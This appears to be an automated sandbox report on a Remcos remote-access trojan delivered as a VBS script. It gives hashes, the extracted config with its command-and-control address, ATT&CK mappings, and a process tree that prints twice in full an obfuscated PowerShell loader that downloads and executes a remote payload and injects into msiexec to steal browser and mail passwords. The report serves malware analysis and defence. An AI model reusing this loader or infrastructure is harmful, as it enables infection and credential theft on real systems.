remcos | 0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41

Analysis

max time kernel
149s
max time network
147s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
10-12-2024 02:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41.vbs
Size

13KB
MD5

ad56c3f3ce8f6dca80b316067593e043
SHA1

12f6b1219e73b84f0fc1e0c27f056ac8b597e561
SHA256

0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41
SHA512

5e0420f48d4d5cf1ed208b43908abe6068f231dd16e4c2920fc7ec03f0d49f1c6ae97a2564df435fee4ef564adaac1fca5790585ab389165694ea67ec73be104
SSDEEP

192:IFt1G5TbO/OFPducb5dh+CxWBWFzyVGvDFJagA6a/AldmHOpmyb3YzesvWKnvnnx:Is5TQOFPp5OEWBWFbagASdc+T3tsFvnx

Score

10^/10

remcos remotehost collection discovery rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

154.216.17.190:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-3W6OXK
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/1788-57-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/1092-51-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral1/memory/1100-50-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/1092-51-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/1100-50-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 6 IoCs

flow	pid	Process
5	2984	powershell.exe
7	2992	msiexec.exe
9	2992	msiexec.exe
10	2992	msiexec.exe
11	2992	msiexec.exe
13	2992	msiexec.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	msiexec.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	WScript.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
2984	powershell.exe
2636	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2992	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2636	powershell.exe
2992	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2992 set thread context of 1100	2992	msiexec.exe	37
PID 2992 set thread context of 1092	2992	msiexec.exe	38
PID 2992 set thread context of 1788	2992	msiexec.exe	39

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2984	powershell.exe
2636	powershell.exe
2636	powershell.exe
1100	msiexec.exe
1100	msiexec.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2636	powershell.exe
2992	msiexec.exe
2992	msiexec.exe
2992	msiexec.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	1788	msiexec.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 2984	1656	WScript.exe	31
PID 1656 wrote to memory of 2984	1656	WScript.exe	31
PID 1656 wrote to memory of 2984	1656	WScript.exe	31
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2636 wrote to memory of 2992	2636	powershell.exe	35
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1100	2992	msiexec.exe	37
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1092	2992	msiexec.exe	38
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39
PID 2992 wrote to memory of 1788	2992	msiexec.exe	39

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0324a1256fbd39beb2be9e5080f4ae43fb38c921f10b1f425e4ea6c499c19d41.vbs"
1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Dramaturgiens='Kapur';;$Romancealist='Lokalkolorit';;$Enkindler='Ingenerative';;$Kickas='Vandskadens';;$Kuperer=$host.Name;function Whiff($Rdsomme){If ($Kuperer) {$Gocart=3} for ($Havnepladsen226=$Gocart;;$Havnepladsen226+=4){if(!$Rdsomme[$Havnepladsen226]){cls;break }$computerberegninger+=$Rdsomme[$Havnepladsen226];$sorbol='sufferableness'}$computerberegninger}function Preembody($Beguilements){ .($Bimpels) ($Beguilements)}$Bruseniches=Whiff ' W n OuesmatRec.Kr,w';$Bruseniches+=Whiff 'Li,ED,lbi tC LoLfjoIRygEH tNKo t';$samstillingen=Whiff '.icMTeloBr.zM ciP,rlsiklB sa B /';$Bundprops=Whiff '.reTKvalAf,sF.r1Ru 2';$Ultrafastidious='How[ grnLo.ECustHe..Tops.steKu RudsvEn,IUddc.oreForPUndoshaistun,uatOrtmsveAsynn ekABlogAu,eMonrMid]Reh:All:L.psJuvE,eccFelUPreR IrIskrtsemY rpPrvR afo .oTVero rcstroRepl,es=The$sacb ouLa N Pod PrPErhRTroOLimpHers';$samstillingen+=Whiff 'Hit5 ch.R c0Dep Eks(surW ,niBorn phdRo oUdlwNicsum MuNAlkTska sph1 .l0ste.A.p0Po ;Aut oWDoli lan sh6Fol4.ve;Org VesxDe,6 K.4 tz; me anrMaavUfo:Bru1Cad3Rge1alt.Mer0Mar)sol epGJosePencRedk JeoTri/ No2B.d0Pos1 Tr0unc0 in1Lau0Kal1dek PoFRekiTrorGenebr.fNikoFilxDu,/ In1 ed3Res1ska..il0';$Majors=Whiff 'FusuO esRa,esver fr-T lAI yGAn.e annRadT';$Branchicolous=Whiff 'EnthInct s tFlapHklsHau:Be / Ba/UnihH lsRec2Quiv k.Grai UncCoeuInt/spifKapBMaenvagz onyForJ loIEncq Pe/immTWarrGolvPe,lTeje .lk Krrs roEftnBoneLovrsgnsBed.Phemsymsscoi';$unbelligerent=Whiff 'Dis>';$Bimpels=Whiff 'BarI,epe lax';$Dkstj='sygehusudvalg';$Whitefishes='\Lochioschesis.Ros';Preembody (Whiff 'B.g$VapGF.rLBesoObsBt.tAO,elstv:fjosIgacFooh PeROmgaEnvTAli6Udt6Ba.=Con$HyoEPopNT mvMea:DebaAndpHempPa DTylA Opt rmAZec+ uk$R,swAppHTuciOu T,asEschF inistosRenHMareP.rs');Preembody (Whiff 's i$MyrGst.LAlcoTreB DrAD glBe : acmteka D RExuM poP ur,ijeProRKi.Espe=Thr$Embb her feANekNAbac MahMilIsupcKrfoFisLRa.OsupUNons Th.PresVarPArbl unIUdltsol(Reg$DatUCy,nadrB seEKenLLaulDiaiFejg s.eBerRsk,EGr NRadT Un)');Preembody (Whiff $Ultrafastidious);$Branchicolous=$Marmorere[0];$Unappliableness=(Whiff 'Okk$heaG sjlrado seB Rea RulAna: Bis FoK ExUCo mEscMBi eDo N PrdTimeXylss.c= R nLa eKolWMyc-A,tOA.ubI aj riE VecCirTCal Gos .aYwaks P tCheEsmrmMel.su,$jamb kRInsuKons foE Gen efIPerCExtHWage Pas');Preembody ($Unappliableness);Preembody (Whiff 'Aft$Gr sserkHy u omAfsmPoseO,sn G dVree nds Vi.FisH,dvesi.a Pod bae perT ussa [ Or$UnsMsm,aV,tjKa oBatr A sstr]Fat=ste$ sqsCraa ulm yrsVibtPuli,ivl D lGtei HynGe gm ne spn');$Fangnes=Whiff 'Nat$Fors,dmkPriuFalmFelm aceTvinMardP.eeDa sVot.C rDAmoo suwRegnBetlOpho PsaU rd dFpreiTynlGgleDop(Fla$ B BE.sr AfaafvnCalcKonhBaji LocGerohallE roN.iu,ors I ,Gar$Oecs agrsirtUnsrI,tyDoikPr kIaceBesnchae ops.yn)';$srtrykkenes=$schrat66;Preembody (Whiff ' H $lenGC.il A,o .oB LeAFeelTr :Intu s nsolF too MeNsteDM cLsole dtDmou=Bes(s,etFanePrissomtBra-YoupAffAEtftH lHL t sl.$synsNebREmdTA gr omysymKM.dKP eeF dnsomEspasChl)');while (!$unfondled) {Preembody (Whiff 'Til$T eg .elPasoUnbbVena Trluov:ArbE axFaccUdsi K tkonaAdsnMe tsut=Bo $balPPaia NulUn.a tatBleaB gbD.oi MilAppi fhtLavy') ;Preembody $Fangnes;Preembody (Whiff ' LosCenT,jlaEg,rRetT Mi-BedsLasl.raE,poegaup Ma sa4');Preembody (Whiff 'L,t$ A,GPallM nORekB Caa Melst,:BilU maNVaaFUraoHelN,andBellE ee.asDCla=Ice(RidT R eskosMertK.n-help seA saTVr.H .m Th$Airs UnRFortDekr.omyAktkLa kOmseCr n lEBessP n)') ;Preembody (Whiff ' U,$AttGFalLFeiO MibEthaElelvio:BlkRO,eeD,pG saePril MaLLa sjar= or$Gymg,anLGeoOPldB AnAKrylTr : aEKnoRCamy ros Pri ep KlhanaARu cFreEAtoAT,leCon+Rea+Bor%Fo $HisMJenaEr RH.vm okoIndR smE.elRBr.E Ma.O fc ako MeUcennFlst') ;$Branchicolous=$Marmorere[$Regells]}$Husenes=283781;$Ugepressen202=27959;Preembody (Whiff ' A,$spegR dls,ioKonb kyaL el K :Fa J alaIndCHeaqzigUAgtaD,mrY,rd PeVVitv.xuE hot.ne byp= br DanGsk.e NuTCod- OrcA oolooNTarT F.E otN,hatC i Rot$BlosKatRLetTHydRNebYVanKDiaKstaeCliN reAars');Preembody (Whiff 'Non$Li g .il aoIn,bAc.aNonlBr.:FinM Aua OvsCerkTeki udn Grf gaeLigj til fdeJeen.mes Bl Lu=R t Moo[UansactyDjvs RatD se L mKry. soCRelo Oln .avRa eMulr UmtBun] Bi:Ros:CanFMetrNoroV nmTenBom aTarsBouesur6spo4 Prs utsamrFejiMednProgper( ec$C nJ iasamcM dqF.guPlaa snrHuldOblv sav aeUnit s )');Preembody (Whiff ' Te$Acog orLJa.OResB,kaa ,plAka:TursEnecTilHFlueWilR stzBaioAn eUncNsnisAl Afr=For Cat[ DesKonYKors FotF,rEUpaM em.,utt beENeuXBelTPo . .iE P NLibcImpOErgd iri ,pnH zGApp]Fer:Car:hibAPaas erCPari UnIPou. seG,inEBygta isParTdiaRspoiPinn Udg Fo(app$UnsM Moa HisRosK Tri Frn eF A E upJAnalLugE tnZonsTer)');Preembody (Whiff 'Reg$smagAntLEgeoM sb raaApeL ce: orsE sA,unN.ordan,KJa.a ,bGA vesok= s.$J ws rc .ah s eLavRRocz HoOR.teBusno esH,g.Anas ulusu,B sus rntU.dR FoiDannCorgstr(Con$sopHKunu sys BrEEntN .iE otsGar, Rt$,ndU UdgspueB iPstiRR eEeles sasgl.EIchNE.a2Con0 s 2 a)');Preembody $sandkage;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\mixsnvjprdvee"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1100
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\ockkgoujflnjgpdh"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:1092
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\zeqdggfkttfoqesllob"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\mixsnvjprdvee

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Lochioschesis.Ros

Filesize
405KB

MD5
75256cb02edc22122cd7160ad5cd8384

SHA1
49819cf37b51113de6c659aae8f3d88235c77859

SHA256
ff1e2b584c0bf9961fa6f4584618b1819fd6a34a17070a9d9d8db3063395bfb7

SHA512
9639ca948d25186cabd6ee73e1df178b60c74e546e82a087c5b2947bacf6222410994e3427cf7744f897ff10c42353b6847917629d658ef388ca6a333e512461

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G3WJ9NLO29K80O510I5L.temp

Filesize
7KB

MD5
b702adac01b1ad25c572df75f37bbb56

SHA1
9ebaec7ba01c2863a33557f428015319052604f5

SHA256
c435c67ee89e353862f257a833664c12e601f906f4e66130d915ffa7bc5a831b

SHA512
350126be393e23d4ab7e6e7c64cbc79e8125b762c8adb658afa5458dccdc6aa7ec86d1318c928bf92d2c9098d73180ba350cad5e84b02efd3c3dcd014857056c

Download Submit
memory/1092-43-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1092-49-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1092-51-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1092-45-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1100-40-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1100-41-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1100-47-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1100-50-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1100-44-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1788-53-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1788-57-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1788-54-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/1788-56-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2636-18-0x00000000066C0000-0x000000000C171000-memory.dmp

Filesize
90.7MB

Download
memory/2984-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2984-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2984-14-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-4-0x000007FEF66CE000-0x000007FEF66CF000-memory.dmp

Filesize
4KB

Download
memory/2984-12-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-8-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-10-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-9-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2984-7-0x000007FEF6410000-0x000007FEF6DAD000-memory.dmp

Filesize
9.6MB

Download
memory/2992-63-0x00000000004E0000-0x00000000004F9000-memory.dmp

Filesize
100KB

Download
memory/2992-70-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-35-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-67-0x00000000004E0000-0x00000000004F9000-memory.dmp

Filesize
100KB

Download
memory/2992-66-0x00000000004E0000-0x00000000004F9000-memory.dmp

Filesize
100KB

Download
memory/2992-68-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-69-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-39-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-71-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-72-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-73-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-74-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-75-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-76-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-77-0x0000000000B80000-0x0000000001BE2000-memory.dmp

Filesize
16.4MB

Download